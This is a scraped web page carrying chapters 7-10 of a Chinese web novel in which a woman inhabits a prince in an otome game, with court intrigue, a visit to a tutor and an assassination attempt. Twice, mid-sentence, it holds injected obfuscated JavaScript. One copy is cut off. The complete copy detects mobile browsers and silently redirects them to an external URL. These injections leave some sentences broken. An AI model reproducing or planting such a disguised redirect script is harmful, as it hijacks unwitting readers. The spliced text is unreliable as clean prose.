《穿进乙女游戏后被四美男围攻》 7. 太过分了! 砚山楼,乌纯声正坐在矮桌前制香,长柄镂空铜质模具下,一枚九瓣莲悄然绽放。 乌纯声紧握模具,小心地提起。此时,“咚咚咚”的声音传来,他心中突然有股不祥之感。 许弋一路小跑上了二楼,一屁股坐在了矮桌前,“乌纯声,我收到消息了。” 矮桌被许弋的衣袖带得一晃,乌纯声右手一抖,手捧香炉中,堪堪绽放的莲花赫然豁了一个口子。 乌纯声只觉太阳穴突突地跳了起来,赵芙!上次还以为你长进了,看来是我想太多! “乌纯声?”许弋见他没有说话,又喊了他一声。 “殿下收到消息就好,又跑到我这里来做什么。”乌纯声放下铜质模具,不冷不热道。 但看到赵芙额头上细密的小汗珠,他心中一顿,又后悔自己出言无状说了违心的话,他之所以坐在这里制香,不就是为了等她吗? 此话一出,想必又要被赵芙冷嘲热讽了。 许弋完全没把乌纯声的话放在心上,她双眼放光,迫不及待地道:“当然是商讨下一步的计划了!” “殿下还想做什么?”乌纯声一时猜不中赵芙的心思,她最近好像想法越来越多了。 “暗影卫既然可以向我这里回汇报情报,是不是也可以向外传递消息?”许弋挑眉道。 “没试过,但……我猜是可以的。”就像暗影卫也可以去其他国家,只是需要向耶鲁里借用更多的力量罢了,经过上一次的尝试,乌纯声笃定起来。 “乌纯声,你附耳过来。”许弋冲着乌纯声招了招手。 乌纯声右手按在矮桌上,身体微微向前倾去,一股冷梅香幽幽地沁入他的心间,淡雅而矜贵,内敛却暗藏锋芒,比手边的莲香不知诱人几许。 只听他的殿下在他耳边轻声道:“你派三名暗影卫前往扶余……如此这般……” “好。”片刻后,乌纯声依依不舍地坐直了身体,看着一边的镂空模型,他的手指不禁微微地蜷曲了起来。下次,制梅香吧。 “乌纯声,越快越好,没问题吧?”许弋双眼亮晶晶地,满含期待地望着他。 “好。”乌纯声回过神来,“不过,赵良嗣回来报信必定是快马加鞭,扶余的人若是过来,可能赶不上这一遭,我们还需要更有力的保障。” “怎么说?” “据我所知,朝中负责外交事宜的应当是太女太傅、鸿舻寺卿谢珉怀,对吧?”乌纯声拿起一颗黑子放在了矮桌中间。 “是,此事也是他上报的。他同我一样也是持反对态度的。”许弋也拿出一颗黑子,放在了这颗棋子边。 “那殿下可知,这位大人风骨如何?能否扛得住威逼利诱?甚至酷刑折磨?”乌纯声夹着黑子翻了个面,黑子便变成了白子。 见许弋不说话,乌纯声回忆着谢珉怀的事迹说了起来。 “谢大人曾两次出使北燕,大观元年,他以死相争,将我大昭给北燕三十万的岁币降为二十万。” “大观三年,童贯代表我大昭赴尚云之盟,续两国交好的百年合约,熟料回国后却直言燕武帝野心勃勃,欲攻伐我大昭,一力主战。” “三月后,谢珉怀再次出使北燕,他怒目圆睁,痛骂燕武帝被急功近利的臣子蒙了心,这才避免了两国的再次交战。” “这样看来他也是不畏强权,威武不能屈之人。”许弋又将乌纯声的白子翻成黑的。 不过她心中难得发苦,谢珉怀是《最好命》四男主之一,但她根本没有打到有他的章节,连他的立绘都没有见过…… “可是殿下不要忘了,谢珉怀是在胡秉芮的举荐下才入朝为官的。”乌纯声出言提醒,说着又将棋子翻了一面,煞白的棋子刺得许弋眼角一痛。 “你的意思是?”许弋试探着问道。 “殿下,你亲自去一趟,以诚动人,定要将谢珉怀争取到我们这一边。”乌纯声说完,抓起两枚棋子,丢入了棋盒之中。 许弋夹起一颗棋子查看起来,“这是什么棋?我怎么没见过?” 乌纯声轻笑一声,“我闲来无事,自己磨的,这天下怕是独一份,怎么样?试试吗?” “好!怎么个下法?”许弋将棋子的黑白两面在手中反转,眼神中战意昂扬。 “棋有黑白两道,人有忠奸两面,黑子可以变为白子,忠臣也可以成为奸佞,如何掌握局势变化,策反人心,这才是博弈之道……”乌纯声拿起棋子,细细说道起来。 “那你呢?你会永远站在我这一边吗?”许弋情不自禁地问道,话一出口,她又觉得自己太幼稚了,若是赵芙,应该不会这么问吧。 乱世之中,又有谁是可以相信的呢? “我?”乌纯声执棋的手一顿,赵芙是发现什么了吗?但他莞尔一笑道,“我永远是殿下的暗影卫,至死方休。” “好。”许弋心道,我信了你的邪,是真女人还是要靠自己,她抬手执棋,“先吃我一招。” 两人一阵厮杀,许弋在乌纯声这里用了两餐饭,逗留了一整日,这才怏怏不乐地回府去了。 可恶!下了一整天她才赢了三盘!这不公平,规则是乌纯声发明的,他占尽了天时地利人和,下一次她也要琢磨个新玩法来,杀得乌纯声片甲不留! 许弋走后,乌纯声独自来到楼台上。 看着殿下逐渐远去的背影,他抬起右手,放出了一串银色飞鸟,总觉得殿下 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等等,她收到樊不野信件的时候,萧静之还没进府,那么他骂赵芙渣是因为吃谁的醋?他当初又是为什么去京郊一躲就是三个月?难道是因为乌纯声? 想到这里,许弋对着在王府清风亭内休憩的金边小人下了道指令。 蓦地,许弋看见金边小人从清风亭内走出来,仰着脑袋看了她一瞬,又溜回了亭子内。 许弋一蹙眉,又把它拉了出来,金边小人抬头望着她,那个表情……许弋说不上来,如果小人有眼睛的话一定是在冲她翻白眼! 下一刻,一张小纸条落到了许弋手中。 “逍遥王殿下于洞房花烛夜入砚山洛水,伤心欲绝之下,樊不野将军夜奔至京郊大营,猛猛垂泪,三月未归。” “有道是负心亲王流连砚山,柔情铁汉泪湿衣衫。” 许弋擦着额头上的冷汗,这暗影卫怎么还给她点评了上了。 不过如果是这样的话,她今天早上的行为……简直就是在樊不野的雷区上蹦迪! 救大命啊,樊将军,我可真不是故意的。这个赵芙,真是太花心!太过分了! 但是《最好命》里曾经提过,赵芙年少时曾于宗学进学,与樊不野有三年同窗之谊,后来她入宫陪读,樊不野北上从军,二人就此分别。 但想来两人之间也算是熟稔的吧,因此樊不野才敢如此快意直言。 看来面对这位少年将军,她也不必再心虚,她这就是在替赵芙背黑锅。 什么薄情寡义,她才认识这几个人几天啊,她太冤枉了!明明什么都没做过,怕他做什么! 许弋丢开情报,甩头走出千机阁,回寝殿倒头便睡。 8. 拜访 次日,逍遥王府,珍宝阁,熹微的晨光照在形态各异的珠宝、陶瓷、铜器之上,一时间华光满室,迷得许弋都睁不开眼。 这大昭皇室可真是堕落啊,剥削起民脂民膏来真不是盖的,许弋心中感叹道。 右手边一套三层八组的编钟,是赵芙即位时的礼器,象征着她在大昭一人之下万人之上的位置。左手边的金银珠宝、绫罗绸缎,有昭文帝赐给她的,还有各世家在逢年过节孝敬的…… “殿下,字画在二楼。”小桑在前方引着路道。 许弋跟着她,一步步踏旋转而上的楼梯,果然,孤本古籍、碑帖拓本都在这里。 天呐,怎么都是扭来扭去的文言文啊,难得的穿越之感再次袭击了许弋,她深感自己是个古代文盲,这《最好命》的策划当真是有点东西啊,材料做这么逼真的。 “没想到王府中有如此之多的碑帖……”许弋迷茫道,字她倒是认得不差,就是连起来的那个意思得猜猜,这要怎么挑啊。 “殿下,您忘了吗?有一段时间,您从宫中回来,便痴迷起谢太傅来,网罗了不少珍贵的古籍,想去讨他的欢心。”小桑在一旁提醒道。 “嗯?”许弋一口气差点没上来,赵芙啊赵芙,你还有多少事是我不知道的? “那我……送了吗?”许弋艰难地问道。 “没有的。后来殿下同樊将军的赐婚诏书下来了,这些孤本也就都丢在这里了。臣也没想到,殿下还会再记起它们。”小桑如实禀告道。 还好还好,没有坏事。不过,小桑怎么话里有话啊,许弋暗暗瞟了她一眼,小桑不会在磕赵芙和樊不野吧? “咳,我这次是有正事要去寻谢太傅的。”许弋解释道。 “啊~殿下,臣记起来了,传闻谢大人在太学念书时对隶书颇为着迷,殿下要不要来这边看看。”小桑在左侧的木柜前说道。 好你个小桑,果然是站樊不野的。 许弋漫步过去,驻足在陆机的《平复贴》前,很好,这本盖了那么多红章章,还东缺一角,西缺一页,有很大可能就是真的! “小桑,备马,去太傅府。”许弋盖上盖子,拿起木盒向楼下走去。 *** “小桑……到了没啊?”许弋晃了晃脑袋问道,她都快坐了两个时辰的马车了,这早都出了京师,都快到南城了。 “殿下,再有一刻钟就到了。”小桑掀开帘子看了看,回复道。 “太傅府怎么这么远啊。”许弋吐槽道。 “其实太傅府原本是在御街东侧的太学旁边,还是陛下钦赐的。” “但三年前,也就是崇宁元年,赣南、江浙多地饥荒,谢太傅就把在京师的宅子卖了,把大部分的钱财都捐了出去。” “这南郊的宅子啊,还是他的好友翰林学士叶静能为他盘下来的。听说原来只是一座荒废的园子呢,也不知现下打理得如何了。” 原来谢珉怀有如此作为,许弋忍着头晕,又问道,“那谢太傅每次上朝,岂非不到三更便要起来了?” “殿下说笑了,谢太傅会在上朝前夜借住在上清宫中,这样便不必起那么早了。不过路上来回折腾的四个时辰倒是不虚的。” 许弋点点头,这样听起来还好一些,不然上个朝也太折腾了。 片刻后,太傅府前,许弋终于迈出被颠得酸软的腿下了马车。 小桑递了拜帖和碑帖上去,守卫依命前去通报了。 许弋在府门前踱着步,心情有些焦灼,她如此贸然到访,谢珉怀会不会不愿意见她啊,毕竟她的名声这么坏,万一谢珉怀真以为自己是对他有什么非分之想呢? “殿下好。”许弋一抬头,却见一身着蓝衣小童,仰着白玉般的脸,恭敬地向她问好。 “殿下请随我来。”小童作出请的姿势,为许弋引路。另有小童带着小桑去别处休憩。 许弋跟着小童,一路向内走去,绕过门口的照壁后,却见一座莲池。 一座弯折的栈桥将莲池从中劈开,沿着栈桥向内走去,只觉移步换景,亭台楼阁中露着野趣,山石岩林中涌出活泉,处处是水榭,步步见白莲…… 不知走了多久,小童打了一个弯儿竟不见了。 许弋抬头远望,不远处的忘忧亭中,谢珉怀正端坐在案前烹茶,他身着宽袍大袖,一半的头发粗粗挽起,只在脑后以乌木簪定住,颇有魏晋遗风。 许弋行至亭中,谨慎道:“谢太傅,本王突然来访,打扰了。” “不打扰,殿下请坐。”谢珉怀端起紫砂茶壶,为许弋斟了一杯茶。 “唔,烫……”许弋一碰茶杯,忽得缩回了手。 “殿下!烫到了吗?”谢珉怀一伸手,握住了许弋的掌心。 许弋把手缩了回来,“没事,不严重的,是我莽撞了。” “小宴,取烫伤膏来。”谢珉怀对着亭子边喊道,不多时,刚刚的蓝衣小童便拿着一个青色的小瓷瓶匆匆赶了过来。 谢珉怀走到许弋身侧坐下,握着她的左手,在她食指、中指内侧微微发红的地方轻轻打磨起来,“殿下是金尊玉贵之人,任何一点小伤,都不可以含糊的。” 微凉的风吹起谢珉怀的发丝,飘到许弋的脖子边,惹得她心里也痒痒的。 片刻后,谢珉怀盖好小瓷瓶的盖子,“好了,殿下,现在才是没事了。” “谢谢。”许弋回答道。 谢珉怀摇了摇头,看向许弋,“殿下于半年前曾大肆收集孤本珍藏,而后却随意弃之于阁楼之上,从此不闻不问,其中便有陆机的《平复帖》。” “殿下忘了这么久,怎么今日却想着带着碑帖来见我了呢?” 许弋心里咯噔一声,谢珉怀他知道!许弋突然觉得已经凉下来的手指又发起烫来,她赶紧说明来意,“谢大人,实不相瞒,本王这次来访,是有事相求。” “哦?”谢珉怀秀眉一挑,将桌上刚刚烫伤许弋的那杯茶泼了开去,他转过紫砂壶,为她倒上了新的一杯,“殿下能有什么事,求到臣这里呢?” “谢太傅!佞臣童贯与奸相胡秉芮欲以联合金国攻打北燕,此事唯有您能阻止了!”许弋诚恳道。 “殿下难道不知我是胡秉芮举荐入朝的吗?我一介文弱书生,又怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许弋深深叹了口气,赵凝的病容在她面前重现,一代女帝孱弱至此,是否是因为奢靡成性,被酒色掏空了身子。 等等……在最好命的背景设置里,赵凝便是察觉自己时日无多,一心为赵元铺路来着,培养赵芙担任摄政王便是其中一条。 赵芙心情复杂起来,游戏人生的心思顿时褪了个光,她斟酌片刻后,认真道,“谢大人,太女虽年幼,但她已蒙您悉心教导多年,谢大人看太女可有爱民之心?” 谢珉怀放在茶杯,嘴角微微有了笑意,“太女仁心厚德,颇有圣君之相。” “那我大昭还是有未来的不是吗?” 许弋再次诚恳道,“谢大人,虽说攘外必先安内,但倘若国将不国,百姓又何以为家?安居乐业又从何谈起呢?恳请谢大人出使金国,保我大昭不受战乱之苦。” 许弋双手指天:“我逍遥王赵芙在此立誓,从今晚后定将竭尽全力辅佐太女,还我大昭一片清明。若违此誓,天打雷劈,不得好……” “死”字还没出口,许弋唇上一重,竟是谢珉怀点住了她的唇,他的指尖微热,带着雨后龙井的清香。 “殿下言重了。”谢珉怀撤开手指,定定地看着许弋,眼神中似有微光闪烁。 旁人都以为逍遥王骄奢淫逸,但他一直都知道,他没有看错人。 “我不是开玩笑,我是认真的。”许弋强调道。 “好。怀,定不辱使命。”谢珉怀微微一笑,宛若吹风拂面,水波荡漾。 9. 遇刺 拜访完谢珉怀,许弋又颠了两个时辰,这才回到逍遥王府。这谢太傅是真经造啊,来回四个时辰的马车,颠得她浑身骨头都要散架了。 回府后,许弋美美地去闻香院泡了个澡,在云水间用了晚饭,这才带着那种酒足饭饱后的那种淡淡的晕眩向着银安殿走去。 真好,又活了一天,终于可以躺尸了。 寝殿门前,许弋轻轻一推,只见微微飘动的纱帐中,萧静之秀发如瀑,香肩半露,斜撑着手靠在床榻上。 听到动静,萧静之轻晃罗扇,转动着眼波向着许弋看过来。 眉眼间,风情自泄。 许弋只觉一颗心砰砰狂跳,她猛吸一口气,往后推了三步,关上了房门。 搞咩啊,大晚上的又整这死出,再这样下去谁受的了啊! 庭院中,一丝阴云从圆月前飘过,遮蔽了半地清辉。 许弋望着月亮,脑海中恢复了清醒。不对啊,这是她的寝殿,该走的人是萧静之吧?他这是擅闯,按道理要拖下去打十五大板的。 有些事必须要说清楚,万一以后萧静之夜夜过来诱惑她,哪天她把持不住了该怎么办? 必须要把他的这种想法扼杀在摇篮里,这在晋江是不允许发生的。 许弋调整好呼吸,转过身,重新推开房门,走了进去。 此时,萧静之已从床榻之上站了起来,他撩开纱帐,看向许弋,眼神中透露着一丝幽怨。 “咳。”许弋轻咳一声,走向萧静之,用手拢好他的衣衫,她本想勒令他退下,可看着眼前的美人,到底是说不出狠话。 一股柔和的秋兰香味涌至许弋的鼻尖,她的心更软了半分,“萧静之,你走错了,这里是本王的寝殿。” “殿下,我没有走错,我是特意在这里等你的。” 萧静之说着,捉住许弋将要从他衣衫上撤走的手,放在了他的侧脸上,“敢问殿下,是看不上我的这副皮囊吗?” “为何这么问?”许弋想把手抽回,但萧静之的侧脸温润细腻,好似一块上好的美玉,竟让她挪不开手。 萧静之松开手,许弋只觉掌心一空,美人已经背过身去。 “我知道殿下阅男无数,更是在秦楼楚馆见过不少名角。” “入了逍遥王府这么多日,也等不到殿下的召见。我自知姿色或许不如他们,但殿下若是一点机会都不给我,又哪里能知道我的好呢。” 许弋一口气差点没上来,逍遥王啊逍遥王,你的名声到底是有多坏。 萧静之转过来,抚着许弋的衣襟,似是要为她褪去外衣,“殿下今夜就要了我吧。我会很轻柔的,保证殿下一点也不会痛的。” 霎时,许弋脑海中火花四射,搞咩啊,萧静之,明明游戏里你一脸的高贵冷艳,你不是这样的啊! 许弋一把按住他的手,正色道,“萧静之,我知道你是不想让大昭联合金国强攻北燕,这才三番五次地……来我这里。 “其实你大可不必如此,我自会……” 许弋话还没说完,萧静之的手便撤了开去。 他垂下眼眸,神色不明,“殿下还是在责怪我,我那日大约是失心疯了。因为得不到殿下的爱,就疯得想死掉,只想着和殿下一起死掉。” 有那么一瞬间,许弋感觉自己得心好像被扎了一个口子,但她确实又无法理解萧静之猛烈的感情。 她更在意的是,萧静之对北燕到底是什么态度? 北燕分为五部,萧静之是梅里部奚族巫女与燕武帝之子。奚族此前曾建立库莫奚国,饱受契丹凌虐才最终被合并。 作为奚族巫女的小儿子,他在北燕当然不受待见,也是因此才会被燕武帝送来大昭当质子,那么,他真的相救北燕吗? 想到初见面时萧静之决绝的语气,许弋掰过他的肩膀,还是决定给他一颗定心丸。 “萧静之,你放心,我一定会尽全力阻止大昭攻打北燕的。这不仅是为了你,也是为了我大昭的百姓不会在未来受战乱之苦,尝流离失所之痛。” 萧静之内心掀起惊涛骇浪。 他根本不在乎北燕那些蛮子,他恨他们,更恨自己身上流着的燕武帝的血。 但母亲传讯,神巫降诏,能挽救奚族命运的人身在大昭。那一晚,在他身体中沉睡已久的巫血倏然沸腾,他于夜半洞测神道,那个人就是赵芙。 此刻,看着钟情的人成为了神谕之子,萧静之心中的震动无以言表。 正当他斟酌着想要开口时,右侧有暗光袭来,萧静之一把拉住许弋,将她护在怀中。 “噗”“噗”“噗”三声轻响,萧静之闷哼一声,下巴无力地磕在许弋的肩膀上,搂着她的双臂颤抖着垂下。 为了接住萧静之坠落下来的重量,许弋拥着他的身躯,半搂着他,双手触即之处满是温热的液体。 许弋抬手一看,血,全是血。 “来人啊!有刺客!”许弋高声道 寝殿之外,顿时兵荒马乱,禁卫军倾巢而出,追击夜袭的敌人。 许弋跪坐在地,将萧静之放在她的膝上,“萧静之,你为什么要救我?你怎么这么傻,如果我死了,不是正好还你自由之身吗?” 萧静之抬起手,轻轻摸了摸许弋的脸,“殿下不能死,我不要自由,我要留在殿下身边……生生世世,直到永远。” “咳咳咳。”萧静之咳嗽起来,嘴角落下鲜血。 远离故土,无法接受母亲的祝祷,他得不到神巫的完成传承,否则区区三根箭镞又如何能伤他至此。 “别说话了。”许弋轻柔地将萧静之揽在怀中,第一次感受到他浓烈的爱意。 纵然这一份爱是给逍遥王赵芙的,不是给她许弋的。 “殿下!可有受伤!”小桑推开房门,急急地跑了进来。 “我没事,快去喊李淳风!”许弋焦急道。 “是!”小桑放下半颗心,飞也似地奔出门去。 十五名大将亲兵齐齐守在寝殿门外,樊不野带着跨刀,与小桑擦肩而过,“殿下!听说有刺客,殿下你没事吧?!” 樊不野一进门,便看见赵芙半搂着萧静之跪坐在地,纵使看得出来是萧静之救了她的命,樊不野还是心情复杂。 “我没事,但萧静之为了救我……”许弋抬起头,眼神恍惚,997的社畜就算再苦再难,又哪里触即到过乱世中的生死呢? “殿下若是放心,不妨交给我?”樊不野半蹲在萧静之身前道。 “你会治伤?”许弋迷茫道。 “嗯。末将在沙场打滚,与刀枪剑戟对战受伤无数。寻常外伤,只要没有淬毒的,末将均能处理。” “这京师中的大夫处理起箭伤来,怕是还没有末将熟练。” 樊不野细看萧静之的面色,略失血色但并不乌青,应当没有中毒。 “好。”许弋将萧静之扶起来。 樊不野拿出匕首,在他侧肩轻轻一划,单薄的衣袍褪去,萧静之如白玉般的背脊露出来。 怪不得逍遥王上了这个小子的当,樊不野心中酸酸的,握紧了匕首。 “唔……”萧静之短促地呻吟起来。 “叮”“叮”“叮”三声脆响,三个乌黑的箭簇带着艳色的血滴落在地上,樊不野手起刀落间,已将暗器跳了出来。 他从怀中摸出数次救了他命的宝贝伤药,往萧静之脊背上倒去。 “唔……樊不野……你轻点。”萧静之有气无力地道,辛辣的药粉直往他伤口里钻,引起一阵阵刺痛。 “忍着,很快就好了。”樊不野一手按着他的肩膀,一手倒着伤药,速度不减。 “殿下!老臣来迟!还请殿下恕罪。”逍遥王府中的医官李淳风背着药箱,在小桑的紧赶慢赶之下,满头大汗地跑了过来。 “李先生,樊将军已经处理得差不多了,劳烦您再看看。”许弋将萧静之扶到她的床上,嘱托道。 许弋看向李淳风,他是《最好命》中最好用的治疗卡牌,一个大招可以让所有队友瞬间回春。 只不过眼前的李淳风佝偻着脊背,留着稀稀拉拉的山羊胡,尽显老态,看来游戏的立绘是将他画得过于道骨仙风了。 李淳风年纪虽大,但是医术却很是老辣,他查看过过萧静之的伤口,又为他细细诊脉。 “殿下,外伤不要紧的,樊将军的伤药甚好,已经没有大碍了。只是行刺之人用心甚是歹毒,在箭簇上淬了夹竹桃,会让人缓慢地衰竭而死。” “什么?!”樊不野惊慌起来,到底是什么人要害殿下,心思竟如此歹毒。 “不过不妨事,既然在下看出来了,配上几味药养个半月就能好的。”李淳风抖着胡子道。 “那就劳烦李先生了。”许弋拜托道。 “幸好有李先生在啊。”樊不野后怕道。 “另外,樊将军的伤药力道刚猛,将来恐会在萧侧君身上留疤了。” 侧君二字一出,气氛瞬时有些微妙起来。说出话的李淳风却不觉,自顾自地给萧静之包扎起来。 许弋看向萧静之,直觉告诉她,他是极度爱美之人,“小桑,派人去寻去疤的伤药,要最好的。” “无妨的,我不在乎的。”萧静之侧过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811834|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸来,虚弱地说道。 “好样的,萧静之,大丈夫嘛,谁身上没有几条疤呢。” 樊不野说着比划起来,“我大大小小受的伤,积累起来的疤大概有几十条呢,有一条从侧腰划到前胸,有一条鱼这么长,好家伙,当时差点要了我的命呢。” 萧静之竟扑哧一声笑了出来,怎么会有人用鱼的大小来比喻自己的疤啊。 许弋的面容也缓和下来,小桑探寻着许弋的目光,许弋挥挥手,还是示意她去,还是先备着比较好。 “萧静之,今夜你就在本王这里好好休息。” 许弋嘱托了一声,便向着殿外走去,她已经看到王府禁卫军的将领裴谌立在门外了。 “怎么样?可有追查到刺客。”许弋问道。 裴谌摇摇头,“启禀殿下,此人轻功卓绝,溜着将士们跑了三条街,最终消失在烟市子的小巷里了。” “但这贼子被梁副将的飞叶刀扫到小腿,应当跑不远的,一定还在烟市子里。” 烟市子在京师西侧,那里汇聚着三教九流之人,让禁卫军明着大肆搜寻也不是很方便。 “这样,先派遣十位将士乔装打扮潜伏其中,再者盯紧烟市子周围所有的药店,若是发现可疑之人,立即抓捕。” “是!”裴谌领了命,速速去办了。 “殿下,末将敢问,殿下是否在朝堂上议论联金伐燕之事了?”樊不野按着佩刀,来到许弋身旁问道。 “是。我不仅在朝堂上反对此事,前日我去砚山洛水见乌纯声,今日我去南郊见谢太傅,都是为了此事奔波。” 许弋直白道,她心里浅浅有了答案,若是因为此事惹来的杀生之祸,那么下手的不是童贯就是胡秉芮。 “原来是如此。”原来乌纯声是在为殿下办事,樊不野的手在刀柄上摩擦着,“殿下已经搅进去了么,看来臣回来的还是晚了。” “怎么?我不能管这件事吗?”许弋侧头看向樊不野,若是两国起了战事,樊不野可以借机会重掌兵权,这件事对他来说是有利的吧? “不是,殿下,末将不是这个意思。” 樊不野挠了挠头,“末将从前线下来以后,北方诸将便被大换血,新任的将领全都为童贯马首是瞻。如果北线要起战事,童贯肯定会大力鼓吹。” “他不仅痴迷战事好大喜功,而且心狠手辣奸滑之极,会无所不用其极地除掉阻碍他的人,今夜遇险的刺客很有可能就是他派来的。” “嗯,我猜也是,等拿到刺客便可治他的罪了。” “等等,原来跟随你的部将没有留在北方战场吗?”许弋蹙起眉头来,深感大事不妙。 樊不野麾下有五名大将,她以为就算他被夺了兵权,他的势力在北面也不会被削减太多的。 樊不野按着刀柄的手紧了紧。 “我的左膀右臂,王守一因‘贪污军饷’被下狱,李子牟因‘临阵脱逃’被革职,李汉雄、郑山古相继被降为千夫长、百夫长,凭借我微薄的力量,只能带回来一个崔逢。” “但这些兄弟都是随我在千军万马中拼杀出来的,我深知他们的品性,他们岂是贪图虚荣,贪生怕死之辈?” “只不过是受我牵连,连以命搏来的军功也丢了,是我对不起他们。” “很难说不是童贯在背后下的黑手,但我没有证据。”樊不野忧心忡忡,是他没有保护好兄弟们,他不想再连殿下也失去了。 许弋轻叹了一口气,“此事再议,我也看看能不能找到些许证据。”看来暗影卫又有新的任务可以忙了。 “殿下竟是肯帮我的么?”樊不野看向许弋,眼神中充满了期待。 有那么一瞬间,许弋仿佛看见一只小狗,用水汪汪的大眼睛望着自己,她顿时对樊不野心生怜爱,“我怎么会不肯帮你?” “多谢殿下!”樊不野爽朗地笑起来,露出两颗小虎牙,看来此前都是他没有弄清楚情况,就胡乱吃醋,自怨自哀了。 “不骂我薄情寡义了?”许弋挑眉道。 “殿下!”樊不野的脸“腾”得红了起来,“殿下你看信了吗?!我不是把信要回来了?!莫不是小桑骗我……” 许弋笑出声来,“小桑没骗你,我可是大昭的逍遥王,逍遥王无事不知。” 许弋备着手,向潇湘阁走去,那是赵芙办公的地方,里面也有布置妥当的卧房。 “殿下!我那是一时激愤,我不是故意这么说的啊啊啊……” “殿下!你告诉我!你到底是怎么知道的。” 樊不野在她身后哀嚎着,不依不饶地追了上来。 10. 无心 三日后,朝会,赵凝暴跳如雷。“哐”得一声,她拔出殿前侍卫的长剑掷在了赵良嗣脚边。 “你怎么办事的?!他们不敢去,你不会押着他们去吗?整整一百个人的使团,拗不过两个北燕的贪生怕死之辈吗?!” “嗡”,长剑钉在赵良嗣身侧,剑尖没入地面,剑尾轰鸣。 赵良嗣的下摆被割开,一片衣袍飘落在地,他跪倒下来,瑟瑟发抖,“陛下!是臣办事不力,还请陛下息怒。” “陛下,请听臣一言。”兵部尚书安尧臣顶着皇帝的怒火说道。 “讲来。”赵凝一拂袖,回了凤座之上。 “我大昭驻守北地的共有三路军马,其中广信军驻雄州,目前军中正发瘟乱。保定军驻霸州,战力最强。河间军驻淤口关,守物资粮草。” “若是当真要与金国夹攻燕京,还需从西楚边境调用西北军以支援广信军,否则若是北燕南下,我大昭怕是岌岌可危。” 安尧臣直言不讳道。 “调啊!那就调啊!”昭文帝拍案道。 许弋听着心中直冒冷汗,赵凝今日是怎么了,为何如此暴躁。 “陛下!赣南、江浙的饥荒才缓过来,两广地区又发洪水,国家的财力用以赈灾、安抚流民尚显艰难,更何况为战事提供庞大的军需了。” 三司使计相周岷如实禀告道。 “征啊,商业税、土地税、人头税,都去征啊,直到够用为止!胡相,此事你来安排。” “诺。”胡秉芮抬了抬眼皮,拱手道。 “这下没有问题了吧?”赵凝忽然长长地呼出一口气。 满朝文武,安静如鸡。 许弋看着面目狰狞的赵凝,心跳如鼓,现在看来她皇姐是铁了心要北伐了,自己再进言作用也不大了。 果然如乌纯声所料,扶余的人短时间内赶不过来,最终还是棋差一招。 “谁?!有谁愿意自告奋勇出使金国,替我大昭要回燕云十六州,以雪前耻!”赵凝又站起来,目光如炬,射向黑压压的臣子们。 朝廷真是养了一兜好蛀虫,歌舞升平的时候一个个争名夺利,抢着揽事儿,等到真正需要抛头颅洒热血的时候,没一个敢出声的。 虽说两国相交不斩来使,但一来大昭与金国从未建交,据传金国还是茹毛饮血的未开化之地,此行充满未知的风险。 二来北燕与金国正在交战,要是被哪一方误杀了,两眼一抹黑可就什么王权富贵都没有了。 连原本奋力撺掇此事的童贯,此时也偃旗息鼓。 许弋抬首向前望去,不知道谢珉怀会做何选择? 只见那个如青松一般的身影向前一步,持着他的朝笏弯下了腰,“陛下,微臣谢珉怀,自请出使金国。” “好好好。”赵凝大笑起来,“还得是谢大人呐。” 赵凝说着,竟从高堂之上走下来,扶住了谢珉怀的双臂。 “谢大人当年出使北燕的情形,朕还历历在目,此次出使金国,望谢大人再现当年风范,替我大昭收复失地!” “陛下谬赞,臣定不辱使命!”谢珉怀再次后退一步,深深拜下。 “陛下!”童贯见状,也抢出一步跪在了赵凝身侧,“臣斗胆自请为副使,一路跟随在谢大人的身侧,护卫他的安全。” “哼,准了。”昭文帝瞥了童贯一眼,走回高堂之上,再次坐了下来。 许弋微微捏紧了拳头,不知这童贯又要捣什么鬼,有他在才是危险呢,她一定要派暗影卫紧跟谢珉怀,确保他的安全。 童贯已经站了起来,谢珉怀却依旧伏在地上,昭文帝看着他道,“谢大人,还不快快请起。” 谢珉怀抬起头:“陛下,微臣还有一事放心不下。” “臣此一别,不知要去多久,太女虽蕙质兰心,但还是有些天真烂漫,需一名能够毫不留情指出她错误的翊善督导她的课业。” 昭文帝点点头:“嗯,谢大人可有推荐的人选?” 谢珉怀拱手道:“逍遥王不仅曾在资善堂担任陛下的陪读,平日对政事更是另辟蹊径,常有独到的见解,由她来管理太女的课业,臣以为再合适不过了。” 细微的议论声响起来。 “这逍遥王荒淫无道惯了,由她来教太女,不会把太女带坏吗?” “逍遥王对政事有什么独到的见解吗?我看她是肆意妄为吧。” 许弋感觉眉心仿若有一把火在烧,这些老东西,遇到大事了屁都不敢放一个,就知道拿她开涮。 不过谢珉怀也太放心不下她了吧?!而且她现在早就把学的不多那点古文忘得精光,怎么辅导太女写作业啊…… “好!准了!”昭文帝正想着如何让赵芙和元儿再亲近些,谢珉怀的这个建议真是说到了她心坎上,满朝文武各怀鬼胎,不如她亲妹妹值得信任。 昭文帝背靠凤座,甩袖道,“谢珉怀,朕任命你为三军节度使,此次出使金国,朝中任何官员随你调动。请谢大人务必带着朕的诏书,送到金国皇帝阿骨打的手上!” *** 傍晚时分,资善堂,劝业殿。 许弋身着一袭宽袖广身的白袍,眼神迷离地看着袖口的祥云纹,出着神。 逍遥王的朝服过于艳丽,常服又过于华贵,没想到资善堂简约的夫子服倒是挺舒适。 “逍遥王殿下?逍遥王殿下?”糯米团子一般的太女赵元从书案前抬起头,眨巴着她的大眼睛望着许弋。 她的睫毛忽闪忽闪的,衬得她的眼睛好像天上的小星星。 许弋眼皮跳了跳,回过了神来,“怎么了,太女殿下?” 太女今年六岁半,明明正是活泼好动的年纪,却被拘在这不见天日的深宫中天天学些之乎者也的糟老头子的东西。 偏偏太女又较真得紧,或是背诵或是誊抄,片刻都不曾停歇。 